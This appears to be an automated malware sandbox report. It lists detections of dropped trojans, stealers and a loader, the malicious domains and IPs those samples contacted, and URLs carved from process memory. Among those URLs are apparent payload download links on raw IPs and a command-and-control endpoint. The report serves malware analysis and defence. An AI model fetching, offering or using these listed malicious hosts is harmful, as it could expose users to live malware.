C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	100%	Avira	HEUR/AGEN.1360656
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	100%	Joe Sandbox ML
C:\Windows\System32\BackupOfflineDownload.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002758001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	100%	Joe Sandbox ML
C:\Windows\System32\RemotePrinterSecurity.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	100%	Joe Sandbox ML
C:\Windows\System32\ThreadRestartTerminal.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	34%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	34%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002758001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
grabify.org	188.114.97.3	true	true	unknown
telegram.org	149.154.167.99	true	false	unknown
www.google.com	142.250.185.68	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
grabify.link	104.26.9.202	true	false	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
https://grabify.org/2qNi2	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mozilla-services/screenshotsinternal:svgContextPropertiesAllowedtoolkit/main-wind	firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.comZ	firefox.exe, 00000026.00000002.3703673149.00002BFB0F600000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.combookmarksToolbarWasVisiblewidget.use-xdg-desktop-portalhttps://addons.moz	firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/test/num.exeec613a	skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/chrome_settings_overrides	firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3329290402.000001FC1DDD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9A86000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://telegram.org/:	configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.comL	firefox.exe, 00000026.00000002.3702876641.0000148126900000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	fc0b992f89.exe, 00000017.00000002.3158433067.00000000018CB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000026.00000002.3462309093.000001FC2BCCB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://31.41.244.11/files/Loader_seyhhd.exe	skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://grabify.org/	configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881993442.00000272A1022000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881916711.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911281703.00000272A1022000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912983056.00000272A1022000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263995813.000001FC2DE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3683368813.000001FC2FE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FBE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263995813.000001FC2DE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3677857955.000001FC2EDE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3658097048.000001FC2DC94000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 00000026.00000002.3351960809.000001FC29526000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 00000026.00000002.3675675057.000001FC2EA9E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://core.telegram.org/api	configuredInstallerEXE.exe, 00000008.00000003.2881993442.00000272A101B000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881735285.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/test/num.exe1002758001	skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.accounts.firefox.com/v1	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 00000026.00000002.3351960809.000001FC29526000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://telegram.org/r	configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 00000026.00000002.3377928766.000001FC2AFDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353920953.000001FC29EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703774134.00003EDD59E04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiU5_	b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etpcolor-mix(in	firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.widevine.com/	firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/accountremoveAttributeOrEquivalentremoveDocumentStateListener.panel-header	firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/K	configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 00000026.00000002.3329290402.000001FC1DD6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3657398984.000001FC2DB16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
